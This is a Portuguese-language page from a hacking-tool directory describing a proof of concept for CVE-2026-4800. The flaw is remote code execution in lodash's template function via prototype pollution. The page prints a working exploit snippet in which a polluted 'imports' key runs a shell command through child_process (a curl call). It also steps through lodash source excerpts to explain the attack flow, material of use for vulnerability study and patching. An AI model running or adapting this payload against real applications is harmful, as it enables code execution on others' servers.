Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4800-POC — Prova de conceito demonstrando execução remota de código no template do lodash por meio de poluição de protótipo, com análise detalhada do fluxo do ataque e da técnica de exploração. | Kitploit
Ferramentas/GitHubGitHub/threalwinky/cve-2026-4800-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

Prova de conceito demonstrando execução remota de código no template do lodash por meio de poluição de protótipo, com análise detalhada do fluxo do ataque e da técnica de exploração.

Ver Repositório
321há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4800-POC

Aviso de Segurança

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

Fluxo

  • Usar uma vulnerabilidade anterior de poluição de protótipo para poluir Object.prototype.imports com uma propriedade controlada pelo atacante

  • Em seguida, chama _.template('', {}) com um valor de opções de objeto simples normal

  • Dentro de _.template(), o lodash copia options com assignInWith({}, options, settings, ...) em lodash.js:14877

function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith usa keysIn(source) em lodash.js:12778
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn() inclui propriedades enumeráveis herdadas em lodash.js:13440
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • Como o objeto de opções é um {} normal, ele herda a propriedade poluída imports de Object.prototype, e o lodash copia esse valor herdado para options.imports local

  • O Lodash então constrói imports com assignInWith({}, options.imports, settings.imports, ...) em lodash.js:14889, extrai importsKeys em lodash.js:14889, e os passa para Function(importsKeys, ...) em lodash.js:14957

...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • Minha chave poluída é tratada como um parâmetro formal com uma expressão padrão:

    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
Baixar ferramenta